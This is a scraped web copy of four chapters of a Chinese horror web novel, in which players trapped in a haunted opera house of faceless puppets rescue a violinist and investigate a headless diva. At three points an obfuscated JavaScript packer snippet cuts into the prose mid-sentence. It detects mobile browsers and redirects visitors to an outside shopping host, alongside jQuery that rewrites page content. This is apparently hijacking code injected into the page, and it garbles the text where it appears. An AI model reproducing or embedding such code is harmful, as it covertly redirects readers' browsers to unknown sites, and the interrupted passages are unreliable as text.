“舒瞳……!!” 她最不想发生的事情,竟然还是发生了。 得益于迟青瑜的座位离舞台很近,她能确认舒瞳认出了自己,也认出与她随行的两人。 她直愣愣站在舞台上,不知所措。 “你愣着干什么,快给我们尊贵的女主角伴奏,要是拉错一个音,小心被赶出去!” 小提琴可是音准最难的乐器之一,就算舒瞳从小是天才,也不一定能在保证这种情况下不出差错。 迟青瑜心急,她压低嗓音:“我朋友也进来了,就在舞台上。” 沈秋白投来一个诧异的目光,很快又转回到舞台上,而后了然地点头,倒是司沉看出了她的状态不对,正想开口,却被迟青瑜打断: “我很冷静,我要救她。” 沈秋白也不赞同这个时候贸然冲动:“你有合理的计划吗?” 她有吗? 不可能没有的。 规则在她脑海中略过。 迟青瑜压下秀气的眉毛,此时的她显得信心十足:“有,但有些危险。” 司沉不动声色地调整姿态,将躯干靠在一旁,离迟青瑜远了些:“你想怎么做?” 沈秋白的重点跟他不一样:“有多危险?” 迟青瑜只好将自己的计划一一道来:“规则里说,女主角出场的时候,所有人的目光都要聚集到女主角的身上,场上除了我们,包括观众席的所有木偶在内,应该都是观众。” “祂们在这是时候会一直看着克里斯汀。” 迟青瑜找到规则中的漏洞。 “但如果,我们有人违反规则第五条,也就是不能随意走动和发出噪音的规则,那么观众就会全体看向我。” “如果计划顺利,我就能引诱木偶集体违反规则第三条,也就是让他们不再看向克里斯汀。” 从规则的措辞来看,违反第五条只要安静坐回去应该就不会有事,但违反第三条的代价,就要大得多。 她要制造混乱,借机让舒瞳逃脱。 但这个计划风险也是有的,比如她就不能保证,舞台上看起来是高级诡异的克里斯汀会不会迁怒到她身上。 “不行。”两人齐声打断。 迟青瑜仍想坚持说服:“这些都是低级诡异,没有那么高的智能,很容易就会掉进陷阱。” 司沉低声叹气:“青瑜……” 这是他第一次喊她的名字。 “你是玩家,我们也是,舒瞳也是。” “先相信你的朋友,如果她能完美演奏乐曲,我们也不用冒这个风险。” 此时,舒瞳架好小提琴,琴弓轻轻搭在琴弦上。 她已经做出了自己的选择。 22.魅影歌剧院03 原版剧情里的克里斯汀,第一次在众人面前表演时,紧张又胆怯。 可此时场上的人偶,丝毫没有半分紧张,她姿态舒展,面对观众自信且张扬。 吊灯下的废墟里,人偶交响乐团正在指挥的示意下准备演奏,舒瞳坐在一群没有五官的人偶中。 那指挥手中拿着一根细细的指挥棒,在灯光下隐隐泛着金属的锐利寒光。 开头是钢琴伴奏,只不过一个小节的音,克里斯汀便性情大变,怒而指向弹钢琴的人偶: “你弹错了!怎么可以在我的部分出差错!!” 不等她旨意,指挥双手一挥舞,手中的指挥棒便向那人偶甩过去。 只见寒光一闪,木质的头颅便被整齐砍下,旧人偶被推开,新人偶很快替代了祂的位置。 克里斯汀很满意:“我们的首席小提琴手想必不会如此愚笨,连伴奏都弹不好~” 她的话意有所指,像是在警告舒瞳:如果你犯错,你的下场就跟祂一样。 舒瞳保持着姿势不动,双眼紧紧盯着指挥。 迟青瑜看得心惊胆战:小提琴首席是距离指挥最近的一个位置,如果一不小心犯错,躲都来不及。 小插曲过去,指挥开始有节奏地挥舞手臂。 舒瞳的眼神不离指挥,她已经将谱子熟记于心,只需要全神贯注演奏。 悠扬的乐曲流淌而出,克里斯汀的声音干净空灵,婉转动听,她饱含深情演唱着这首著名曲目,竟不输专业歌唱家半分。 迟青瑜对声乐研究不深,她有一半的注意力都在舒瞳身上。 还好,舒瞳似乎抗住压力,演奏没有出错。 迟青瑜缓缓卸下紧张,队友们也开始将注意力放在克里斯汀上。 沈秋白低声道:“她是目标吗?”她在询问队友对克里斯汀的看法,“你们接触过核,她是核的概率有多大?” 司沉:“核跟高阶诡异几乎分不清,二者很相似。我们需要怪谈里更多的细节佐证。” 但眼下,克里斯汀确实是头号目标。 一曲毕,克里斯汀骄傲地向观众行礼,但现场却无掌声。 太异常了。 规则里对女主角如此看重,现场的观众竟无一人鼓掌,显然不正常。 舞台的正上方传来异响。 窸窸窣窣的声音在头顶盘旋,迟青瑜忍住好奇心,不敢把目光挪开半分。 那声响变得无法忽视,有什么东西被割断,舞台上吊着的装饰物失去绳索的牵扯,重重地向克里斯汀砸去。 “啊————!!!” 克里斯汀反应不及时,被木质装饰压在底下,舞台被砸出一个大坑。 此时,另一个陌生的女声响起。 那声音盘旋在歌剧院内,像是从四面八方传来,比起克里斯汀,这个女声显得更有磁性。 “一群傻子。” “没想到,这个歌剧院内竟然能凑齐一帮瞎子演员和观众。是瞎子就算了,连真正的女主演的声音都听不出来吗!” 观众席上的人偶转着头,寻找声音的来源。 迟青瑜反应过来,试探性侧头看向两人:“应该没事了,克里斯汀不是真正的女主角。观众现在都没在看她,但祂们没有收到任何惩罚。” “这个音乐剧我大概知道剧情。”司沉一时也困惑,“原本的剧情里根本没有真假女主演的戏码,非要说,也只有一开始的女歌唱家跟主角有竞争关系。” 但这个神秘的女声并不来自于开场的女歌手。 “不!”克里斯汀被压着,竟然还能说话,然而她的身体被死死压住,动弹不得,“我是货真价实的女主演,你——!哈哈哈!” 她好像想到什么,突然放声大笑,咬牙切齿地说:“我知道你是谁,你是剧院的幽灵,是活在我阴影里的魅影。哈,躲在阴影里的老鼠罢了,不敢出来见人吧?!” “我知道你所有的秘密,你那些见不得阳光的事情!你得不到女主演的位置,才在暗地里用这种手段陷害我。” “闭嘴!” 未知的女声冷哼一声:“谁才是见不得人的老鼠?你见得人,你怎么不敢用真面貌面对你的观众?” 克里斯汀像是被戳到痛处,原本的骄傲转变为怒火:“你——!!” 事情发展到这里,迟青瑜等人大致了解情况。 听起来,这个歌剧院有两位女主演,并且从对话的内容上看,两个人均没有攻击对方的歌声,证明两人的实力应该势均力敌。 克里斯汀声称对方是“阴沟里的老鼠”,对方反骂她是“虚荣的骗子”。 两人互不相让,颇有一股你死我活的架势。 “哼,既然你非说你是女主演,那就让观众来评判吧!”神秘的女声扔下一句话,“明天这个时间,我会在这里演唱,到时就让观众来选择,到底谁才是真正的女主演。” 说完这话,歌剧院的幕布落下。 只有克里斯汀的哭泣声从幕布后隐隐传来。 演员在退幕,观众们也纷纷离席。人偶们动作僵硬,明明没有嘴,却熙熙攘攘地说着话。 “真是扫兴又精彩啊,好久没看过这么好的剧目了。” “这个剧目叫什么名字?” “不是叫《歌剧魅影》吗?” “不不不,我问的当然不是这个。” “你说刚刚那出?据说,这是魅影歌剧院的新曲目,你肯定没有好好看海报。” …… 迟青瑜坐着不动,等到现场所有的人偶离开,她才松懈下来。 这次好像有些不一样,之前总有大大小小的诡异对她投来恶意的眼神,但这次她没有感觉到。 “小瑜!” 见周围的人偶离开,舒瞳四肢一软,差点从演奏椅子上滑落下来,她朝着观众席哭着喊着迟青瑜的名字。 “舒瞳!”迟青瑜跑到废墟中,环抱着舒瞳的臂膀,安抚她的情绪,“没事了,我跟你都在这里,我们都活着。” “小瑜呜呜——我好害怕,演奏得好好的,突然就发生了好多怪事。这、这些都是什么东西??” 舒瞳一下子卸下防备,情绪泄洪,说话断断续续。 迟青瑜轻声哄了好一会儿,她才渐渐平息下来。 迟青瑜没有忘记最重要的事情:“舒瞳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327985|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚事故发生的时候,你都看到了什么?” 当时,表演刚刚开场不久,道具吊灯突然砸下,同时怪谈的门开启。舒瞳那是正在演奏,只觉得眼前一黑,醒来的时候就在后台。 “我当时一个人在后台,想到你跟我说的话,就觉得有些奇怪。” “然后我就在化妆间的桌子上找到了你说的《玩家守则》。” “我本来想,马上就去找你的。但是那群没有脸的人偶突然出现,拉着我到舞台上要我演奏,后面的事情你们都知道了。” 迟青瑜点点头:“除了《玩家守则》,你在后台还看到其他文字吗?” 规则里说,观众禁止进入后台,如果后台藏着什么规则,就只能靠舒瞳获取了。 “我有找过,但没有完全翻一遍。时间来不及,我只找到了这个。”舒瞳打开手机相册,调出她拍摄的内容。 画面上的内容很简单,只是一则挂在门口的告示。 告示说,今天的演出非常重要,要所有的表演人员严阵以待,绝对不能出错。 这也印证了方才的场景。 迟青瑜沉思,舒瞳反应过来什么: “小瑜,你是不是之前就有遇到这样的事情?该不会?” 迟青瑜抬眸:“这件事说来有点长。” 但她还是尽量简洁地向舒瞳解释了事情的来龙去脉,并向她介绍她的队友:“这是司沉,之前你见过。这位是是沈秋白,我们还有一个队友是她的弟弟沈冬安,他在外面接应我们。” “还有很多关于怪谈的东西,等有空我慢慢跟你讲。” 花了十分钟听完整个事情经历,舒瞳的表情从不安到疑惑最后演变成了愤怒:“小瑜,既然有危险,你为什么还要来啊!” 迟青瑜语塞,舒瞳也知道她的用意,但她就是忍不住! 但两人是从小一起长大的情谊,舒瞳还是比她大两岁的邻家姐姐,又怎么真的舍得骂她,于是她只好将怒火转移到别的地方。 她看向迟青瑜身后的男人:“所以,你是她的队友?” 司沉背脊一凉,莫名紧张:“是。” 刚刚哭过的舒瞳,脸上因为脱妆而显得有些狼狈,但她丝毫不在意,态度反而更嚣张。 她此时仿佛忘记自己还身处怪谈中,直接拐到了别的话题:“你几岁了?什么学历?哪个大学毕业的?家里住哪?有车有房没?多少存款?” 一连串问候砸过来,砸得司沉脸色尴尬。 他向迟青瑜投来求助的目光,后者却闪躲开。 但迟青瑜也不打算让舒瞳就这么胡闹,她出声打断:“好了,你要是想知道,我们活着出去就告诉你……” 舒瞳咬着后槽牙。 她冷哼一声,十分不情愿地暂时放过他。 所谓退一步越想越气,舒瞳觉得不行,转头就在迟青瑜耳边低声道:“小瑜,你离他远点。” 迟青瑜很想告诉她:不需要,因为司沉会自动远离自己。 “我看他的眼神很奇怪,总觉得不对劲。” 迟青瑜心下一惊。 她倒是真的有些心虚:舒瞳难道看出他的异常了? 23.魅影歌剧院04 迟青瑜的担心不无道理。 舒瞳从小就是个直觉很准的人,在一些事情上总会比她更早有预感。 司沉的秘密不算小,迟青瑜也不想违背自己的约定。倘若实情被舒瞳知道了,指不定会闹得更僵。 要混淆她的直觉。 迟青瑜的长相偏冷淡,非常书生气,平静的眼眸中看不出情绪,就是这样的一副面孔,经常让人猜不透她的想法。 迟青瑜抬眸看她,认真地问:“是这样吗?” 不能直接否认,这样会让舒瞳更加确信自己的想法;也不能躲闪,这样只会让人起疑。迟青瑜选择认真地装傻来蒙混过关。 舒瞳一看她这样,反而有些不确定起来:“不好说,我也只是感觉……好啦,我是没什么证据。” 迟青瑜也不生气,悄悄转移话题:“嗯,我们还是看看眼下的处境吧。” 舒瞳的情绪来得快去得也快,她认真起来:“对哦,这个地方要怎么出去,就我们四个人被困在这吗?” 沈秋白此时非常恰当地参与进话题:“按照之前的经验,我们一方面要遵守规则,另一方面也要探索规则背后的东西。”她简单科普了怪谈与规则,“我们认为,核建立的规则与祂本身的认知和经历有莫大的关系。” 舒瞳似懂非懂,她不是逻辑流选手,开始任由自己的直觉发挥作用:“大概明白了,所以,就是克里斯汀创造了这个歌剧院吗?” 迟青瑜纠正:“还不能确定。” 几人经历过刚刚的闹剧,目前至少有两个存在符合要求,一个是克里斯汀,还有一个是“魅影”。 舒瞳皱眉:“这么麻烦。我看那两人肯定有什么深仇大恨,不然也不至于闹成这样。呵,这种事情我见得多了。” 迟青瑜细细琢磨着这句话:“你觉得她俩之间有什么事?” “肯定是嫉妒呗,而且这俩各有各的自卑,看不起对方也看不起自己。”舒瞳狠狠磨着后槽牙,“这种事情很常见,估计两个人都有点本事,但又不是那么完美,背地里就会互相诋毁对方。” 迟青瑜眼睛一亮,她骤然一笑:“你给了我新的思路。” 舒瞳:? 事实上,迟青瑜和舒瞳是两类差异很大的人,她们思考问题的思路完全不一样,但在迟青瑜眼里,这种差异又恰好能互补。 刚刚,她就通过舒瞳的话想明白了一件事。 “我们从规则开始说起吧。” 既然核创造了规则,那么有关核的线索,自然也在规则里。 “从目前的十一条规则来看,最大的感受就是对抗和割裂。” 规则中不仅强调了魅影歌剧院存在的唯一性,更是强调了女主角的唯一性和重要性;但是除此之前,也透露着其他存在对于前者的对抗。 “地下歌剧院不存在——这件事情被单独拿出来说本身就是很诡异的事情,除非编写规则的人想给我们洗脑。” 沈秋白:“你的意思是,从这条规则能看出来,制定规则的人应该说是反对地下歌剧院的存在,那应该就是克里斯汀?” 再联想到原版《歌剧魅影》中的剧情,“魅影”是居住在地下王国的,在这里正好也能与地下歌剧院对得上。 沈秋白眼睛一亮:“照这么说,我们去寻找克里斯汀的线索就好了?” “理论上是这样的。” 迟青瑜说出这句话的时候,舒瞳就反应过来:“但事实上并不?” “……嗯。两人吵架时,场上的观众并没有‘看着’克里斯汀,但却没有被判定为违反规则,我认为,至少在这个场里面,克里斯汀并没有被认定为女主角。” 舒瞳又听不懂了:“哎?但我们不是要找女主角吗?” “所以,我有一个猜想,刚刚舒瞳说,这两人互相攻击,让我想起以前高中的时候你竞选保送资格的事情。” 舒瞳哦了一声:“我想起来了,是那个造谣的人?” 两人知根知底,迟青瑜额外向其余二人解释到:“两个实力相当的人,如果他们恰好有一个不那么自信,亦或者两方对自己都不自信。当面对利益冲突时,极有可能会通过阴暗的手段来达到自己的目的。” 这样的冲突需要一个前提条件。 “也就证明,女主角一事,尚未完全盖棺定论。” 正因如此,两人才会如此激烈地争夺这个位置。 三人呆愣片刻,还是司沉最先回过神来:“确实有道理,从各种信息来看,我们只是先入为主地认为,剧目里出场的角色是《歌剧魅影》的女主角克里斯汀,但我们并没有通过其他途径去证实。” 或许,她只是自称克里斯汀,而现场无论是演员还是观众都是人偶,压根没有正常的分辨能力。 舒瞳刚刚才想明白了点东西,现在又提出了新的疑问:“那我们到底要怎么确定女主角是谁?能确定女主角,就能确定核了吧?” 迟青瑜拿出手机,将自己记忆里的规则写成电子版,给每个人共享一份:“都看看。” 众人一道查阅,这期间迟青瑜提出自己的想法。 “我目前的想法是,可以通过张贴的海报和签名海报来分辨一二。前者是剧目的海报,后者是女主角的个人海报。” 沈秋白:“剧目的海报也是重点吗?” “对。” 因为人偶们离场的时候,非常明显地留下了隐藏信息。 “魅影歌剧院真正的表演剧目,并不是我们看到的《歌剧魅影》,而真正的剧目应该在海报上。” 这样一来,四人短期内就有了探索目标。 司沉提议:“歌剧院内很安静,人偶都撤离了,或许我们可以分开行动,效率更高。” 他这么说,也是有其他依据的:“并且,我们应该能确认,被卷入怪谈的只有我们四个人。大家知根知底,不用担心‘伥鬼’的问题。” 舒瞳白他一眼:“什么鬼?” 沈秋白瞥一眼司沉,欲言又止。 眼见气氛又紧张起来,沈秋白立刻开始安排工作:“那我们分三路吧。我去售票处看看个人海报,规则里说女性可以购买其他人的海报,十分钟内销毁就没问题;青瑜你和舒瞳去找找张贴的海报,你们俩思路比较合拍,且舒瞳在音乐方面有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341140|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较专业的了解,说不定会有新的发现。” 最后,她看向司沉:“司沉你的任务比较危险。” “按照刚刚推测的,地下歌剧院或许真的存在,但我们不能确定,你得去摸索相关线索。” 迟青瑜皱眉表示不认可:四个人分三路,多少还是有些冒险。而且,为什么要将最危险的任务分配给一个人? 她还没来得及表达异议,一旁的司沉就一口答应下来:“好。” 迟青瑜:也罢,分开走还能避免麻烦。 她偷偷瞟一眼,司沉的状态还算冷静,表情上也看不出来慌乱,应该是对自己有些自信。 当事人已经答应,那她也不好说什么。 迟青瑜的小动作没有逃过舒瞳的眼睛,她眯着眼,提出新的疑虑:“那要是遇到其他人怎么办?” 她语气带着点挑衅的意味:“他怎么就能确定这里只有我们四个人,而且话里话外的,就是要我们小心其他人的意思。既然这么危险,要真的遇到了怎么办?” 舒瞳甚至没有对着司沉说这段话,沈秋白了然,笑笑:“别看我这样,小时候也是学过散打的,至于司沉更不用担心了,他比我更专业。” “但是我跟小瑜都不会防身手段,这样说,应该分两路,你们一人带我们一个才对啊?” 沈秋白语塞:她见到活的大小姐了? 当然她不知道的是,舒瞳还真是名副其实的大小姐。 “分三路确实危险了些。” 出乎意料地,司沉居然认可舒瞳的说法。 “分两路也可以的,你们三个一起去找海报,我一个人去探索地下歌剧院就好。” 沈秋白不说话,迟青瑜瞥她一眼,又迅速收回目光。 舒瞳不屑地轻哼一声,虽然事情跟她预想的不一样,但也没差:“我都行。” 但舒瞳还是觉得有点奇怪,她也说不上来。 “那就这样吧。”迟青瑜直接拍板定论,免得浪费时间。 于是,四人分成两路。 女生这边经过商议,决定先去售票处看看个人签名海报。反正要是看到不一样的海报,就算不知道谁是女主角,一通全买了,十分钟内再一齐销毁,绝对不会有任何问题。 司沉那边说自己暂时没有头绪,打算先摸索看看。 几人商定好十二点前在主舞台集合,便各自分开。 迟青瑜等人来到售票处。 国立歌剧院的售票处连接着很长的通道,不远处就是正门的前厅。此时歌剧院大门紧锁,前厅空无一人,只有售票处站着一个人偶。 人偶身上穿着工作人员的制服,面部依旧没有刻画任何五官。 迟青瑜尝试性上前:“你好,我们想看看签名海报,请问怎么才能买到?” 无机质的声音从人偶躯干内部发出:“请稍等。” 齿轮转动的声音响起,人偶转向迟青瑜:“亲爱的观众朋友,如果你想购买女主角的海报,请先回答以下问题:” 【如果你是我的粉丝,那一定知道我的名字。】 【问:我的名字叫什么?】 24.魅影歌剧院05 女主角的名字? 舒瞳小声嘀咕:“我们还没分清到底谁是女主角呢……” 她们本想通过线索推测,但现在线索需要先知道答案才能获得,这不是死结吗? 人偶静静地等待答案,无论她们问什么,都没有反应,看样子必须回答才能过去了。 迟青瑜仔细揣摩着问题:“我想我知道答案,或许谜题的答案就在谜面上。” 她看向人偶不存在五官的脸:“我要找的是唯一的女主角的海报,她的名字叫克里斯汀。” 齿轮转动,人偶转过身去背对众人。 舒瞳:“不会答错了吧?” 人偶的背面有个方形切割痕迹,舒瞳话音未落,那块方形的木块就缓缓移开,露出里面的内容物来。 沈秋白凑近一看,惊喜道:“是海报!” 迟青瑜不算惊讶。他们虽然分不清谁是女主角,但这个问题并不是在问“演员是谁”,而是在问“女主角是谁”。而规则第三条明确提到,这里只有唯一的一位女主角,名为克里斯汀。 得知思路的舒瞳不敢相信:“玩我呢?搞这种文字游戏。” 迟青瑜耸耸肩:“考试也经常有文字游戏。” 海报上拍摄的,是一个美丽的女性人偶。她有着精致的五官,优雅的姿态,她身着繁复华丽的礼服,在聚光灯下自信而闪耀。 无论怎么看,都非常符合大众对明星的印象。 海报上除了有克里斯汀(Christine)字样的签名,还写着一行字:【人间百灵鸟,她有着上帝亲吻过的嗓子。】 沈秋白清点着海报,说道:“这里所有的海报都是一样的,连文字都是,不存在其他人的海报。” 传说中的克里斯汀,应该就长这副摸样,舒瞳瞥一眼,顺口说:“这长得好假啊,一看就做过了。” 沈秋白失笑:“这是人偶啊,跟真人肯定不一样。” 话是这么说,但舒瞳越看越觉得奇怪,她拿着海报上上下下看了好几次,都要把这张纸看出洞来,脸上的狐疑越来越深。 迟青瑜看她有发现的样子,问:“怎么了?” “嘶……”舒瞳咬咬下唇,“我也不确定,但这个人偶怎么长得有点眼熟呢?” 人偶比较跟真人还是有些差距,舒瞳只觉得这五官有些相似,跟脑海中的几人仔细对比,又觉得不像。 但她的这话,迟青瑜倒是抓住了重点:“是现实里的人,你见过?” “也不一定我见过,我认识的人多了去了,可能是哪个明星之类的吧?哎我这一时半会儿还真想不起来……” 沈秋白提议:“会不会是歌剧演员或是歌唱家之类的?” 克里斯汀的身份在怪谈里是个音乐剧演员,也许跟她现实中的身份有关联。 舒瞳的眉头越皱越深,显然陷入了死胡同。 迟青瑜喃喃:“人间百灵鸟……” 这是一句非常具有宣传意味的台词,旨在宣扬明星本人歌喉动听,但这局台词又过于烂大街,很多人都符合这个条件。迟青瑜平时实在是不关注这类消息,只能寄希望于他人。 忽然她灵光一闪:“舒瞳,不要局限于歌唱家,想想普通的流行歌手,甚至女团偶像呢?” 女团…… “啊!”舒瞳一拍大腿,“我想起来了!” 她再次仔仔细细查看海报,终于确认自己的答案:“她是灵儿,许灵儿!天啊真的是她,长得好像!” 迟青瑜吐槽:“这一听就是个艺名……” 迟青瑜和沈秋白都不是关注娱乐圈的人,只能靠舒瞳介绍了解。 舒瞳并不知道许灵儿的真名,但知道她的一些故事。 “许灵儿十几岁的时候就出国了,在隔壁小国做了三年练习生,后来在国外组团出道了,她在团里还是vocal(主唱)来着。不过因为她长得也好看,跳舞也不错,所以粉丝都私下里封她当ACE(王牌|门面)。” 圈子里的术语迟青瑜也就听个大概,但她抓住重点:“私下?” “嗯。”说到这里,舒瞳表情略有些惋惜,“她在那边是外国人嘛,所以有些大家都懂的潜规则啦……总之,明面上的ACE并不是她,但她在国内的粉丝圈里是认定为ACE的。” 由此引发出的舆论和矛盾很多。 这个女团在国内热度一般,不如说,她们的热度,大多也是炒作来的。 为了打开国内市场,公关恶意炒作许灵儿和ACE两人间的矛盾,由此还能利用一些民|族情绪,起到虐粉和提纯的作用。据说还有狂热粉丝给对家寄了威胁信、死亡恐吓之类的东西。 听完舒瞳分享的几个瓜,两人均是摇头。 沈秋白:“看来不仅是职场上玩的脏啊……” 但后来,出现了点意外。 舒瞳深深叹气:“大概是五年前吧,在一次演唱会上,发生了火灾。” 当时,国外的报道声称,是一位极端狂热粉蓄意纵火。而后国内的网友扒出来,这位极端狂热粉还是同心教的成员,因为太喜欢许灵儿,便想用一场大火将两人一同带去天堂,没想到许灵儿没死成,自己倒是被搭进去了。 甚至还有流言说,极端粉丝是ACE本人为了毁了许灵儿找来的,舆论众说纷纭,难辨真假。 在场的人都对这个同心教很陌生,舒瞳撇撇嘴:“我也不知道,应该是不太正经的那种吧。” 她说得很隐晦,其实是什么大家心里都有数。 许灵儿虽然侥幸存活,但也因此毁容,出事之后,连夜发布退役声明回国。 女团也因为这件事解散,此后再无音讯。 但许灵儿的故事却没有结束。她回国之后,潜伏两年重新回归大众视野,这两年里,她整容数次,最终获得了个还不错的脸蛋,虽然不如以往精致,但她的歌喉却能惊艳四座。 再有过去的故事加成,媒体纷纷赞扬她是百灵鸟浴火重生为凤凰,人气竟比以往更高。 迟青瑜听到这里,不由得惋惜:“她后来死了?” 许灵儿的故事肯定还没结束,否则,她不会出现在这里,成为怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363096|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈的一部分。 “嗯。”舒瞳轻轻点头,“一年前,在家里去世,原因是瓦斯泄露引发的爆炸。” 沈秋白愕然,生命的流逝有时猝不及防,她垂下眼睑:“可惜了。她死后化身为歌唱家,想必生前也非常喜欢唱歌。” 但迟青瑜却有不同的看法。 “很奇怪。如果许灵儿就是怪谈的核,有些规则是对应得上,但有些就对应不上了。而且我们见到的无头人偶没有头,如何认定祂就是许灵儿呢?” 舒瞳哎呀一声:“好像是哦。” 沈秋白:“但目前很多细节都对得上。比如,人偶没有头可能是因为她毁容了,魅影也嘲讽她不敢用真面目示人,她这么生气,一定是说对了。” “而且,魅影的存在也很符合她对ACE的认知:一个用阴谋陷害对手的卑鄙小人。” 沈秋白所说的有道理。 迟青瑜冷静反驳:“但是,核创造怪谈是基于一定的情绪和内心期望的。按照舒瞳描述的故事,许灵儿虽然毁容了,但她后来整容复出,名声和身价都比之前要高得多,也并没有因为自己整过容就当蒙面歌手了吧?” 许灵儿在现实中的表现,跟怪谈里的无头人偶存在出入。 沈秋白不否认这点,舒瞳也附和:“是哦,这里到处都充斥着对名声的渴望,她一个啥都有的人,也不像她的心境啊?” 不管是第三条规则对女主角强调其身份之尊贵,还是从售票处只售卖女主角的海报来看,核制定的这些规则,都非常在意自己需要受到关注。 可许灵儿关注度已经很高,她的内心为何还会追求这些? 又或者,无头人偶到底是谁? 迟青瑜打算从其他细节入手,她询问舒瞳:“刚刚演出时你认真听了吗?她的声音是本人吗?” 舒瞳一愣神,而后猛地点头:“很像!她的音色很特别的,我还不至于认错。” 迟青瑜相信天才少女的耳朵,但眼下相互矛盾的事实摆在眼前,她还是更愿意相信自己的分析。 事情可能没这么简单。 舒瞳已经放弃思考:“小瑜,动脑子的事情就靠你啦……” 既然这条路堵死,那就换一条路走。 迟青瑜不多犹豫,提议道:“我们去找祂,那个无头人偶。” 她在天使孤儿院里,也是靠直接接触小玲获得的各种信息,在这里又有何不可? 沈秋白摇摇头:“我就知道你会这么说。” 舒瞳半张着嘴:“啊?不行,这么危险你也敢去?我看祂脾气比我还差,你要是遇到危险怎么办?” 沈秋白汗颜:原来你知道自己脾气差。 迟青瑜倒没想自己去硬闯鬼门关:“演出结束之后,所有表演者都会回到后台吧。” 但规则第十一条说,观众禁止进入后台。 舒瞳点头,觉得有些不对,突然反应过来:“所以我……?” 迟青瑜拨通舒瞳的电话,对方接起,略有些不解地看向她。 “我们可以远程支援你。” 25.魅影歌剧院06 舒瞳将通话中的手机塞进手提包里,扶扶耳侧,用头发遮住双耳,同时确认蓝牙耳机信号正常。 迟青瑜再三提醒:“进去之后,如果没遇到克里斯汀,你可以先找找规则;如果遇到了,别担心,我的在外面听着,沈秋白会教你怎么说的。” 舒瞳咽咽唾沫,回给两人一个坚定的眼神。 迟青瑜认为这项任务交给沈秋白最合理。一方面她本人社交能力一般,另一方面舒瞳脾气不好,最合适周旋的人是沈秋白。 通信确认无误,舒瞳走向员工通道。 后台的范围很大,包括表演人员的化妆区、准备区、休息区等等,她轻手轻脚打开门,走廊空无一人。 门上写着各种标识。舒瞳想着,这里既然认为女主角十分尊贵,那她必然有属于自己的独立化妆间。 她在走廊里七弯八拐,最终停在一扇门前。 倒并不是说舒瞳运气特别好,而是这扇门太与众不同了。 这是一扇粉色欧式木门,双开式,上面雕刻的花纹精妙绝伦,感觉一打开后面就是公主的城堡。 舒瞳顺手拍照记录:“太夸张了吧。” 舒瞳蹑手蹑脚开门,动作停在半路,迅速整理好着装,开门的手中途一个拐弯,在木门上发出清脆的三声叩门音。 “是谁?”克里斯汀的声音从门口传来。 舒瞳抬头挺胸,清清嗓子:“是我,我是今天的小提琴手。” “有什么事吗?” 对方听起来并不想开门,必须要找一个合理的理由说服克里斯汀。 沈秋白安静听着手机里传出的对话,柔声道:“克里斯汀自尊心很高,不要表露出对她的可怜和同情,跟她站在同一个战线,告诉她我们有共同的敌人。” 这是第一步,获取认可。 舒瞳听懂般点点头,她本性出演,直接用自己平时教训人的口吻把“魅影”骂了一番,还十分适宜地想起自己的经历:“相信我,像那种靠肮脏手段走上舞台的人,都没有好下场!我之前就遇到过,最后被我整的服服帖帖,再也不敢闹事。” 迟青瑜安静地听完舒瞳的临场发挥,不做评价。 “真的?!”克里斯汀的声音略带惊异和喜悦。 耳机那边的两人交换眼神:成功了。 舒瞳面前的大门从内侧打开,无头人偶还穿着戏服,出现在她面前:“你这么厉害,是怎么教训那些人的?” 舒瞳不知道该看她哪里,索性把胸口正前方的位置当成她的脸。 “那当然。”交谈的节奏进入舒瞳的舒适区,她轻扬起下巴,“这里不是说话的地方,不如我们进去聊聊如何?” 进去更危险,但是说不准会有更多情报。 克里斯汀并未过多阻拦,她将舒瞳迎进去,又顺手关上门。 啪嗒一声,房门关上,舒瞳愣怔数秒。 “怎么了?”无头的人偶问她。 “额……没事。”舒瞳讪讪笑着,忍不住腹诽:这玩意儿也太邪门了吧! 在她的面前,是间几十平的大房间,忽略掉浮夸的装修风格,最吸引她注意的是墙上挂着的无数个……头颅。 这些头颅由木头制成,上面精心刻画着美丽的模样,舒瞳粗略一扫,觉得跟许灵儿都有几分相似。 她抹抹手心沁出的汗:“这些是……你的收藏品吗?” 一听这话,沈秋白语气严肃:“这个话题太敏感了,你要小心,不要触怒她。最好找个借口跳过,回到刚刚的讨论。” 但说出的话覆水难收,舒瞳看着克里斯汀的身体动作停顿两秒,而后又像是不在意般回答:“不是哦。” “这些都是我,是我的脸。” 人偶穿过悬挂着头颅的房间,伸手一个个抚摸着他们,语气里满是怀念:“这些都是曾经的我。” 下一刻,她的声音冷下来:“但再也不是了。” “自从那个人害我,一刀砍下我的头颅后。我日日夜夜在房间里回忆自己的样貌,请最好的工匠照着图片雕刻,却始终无法还原我原本的美貌。” 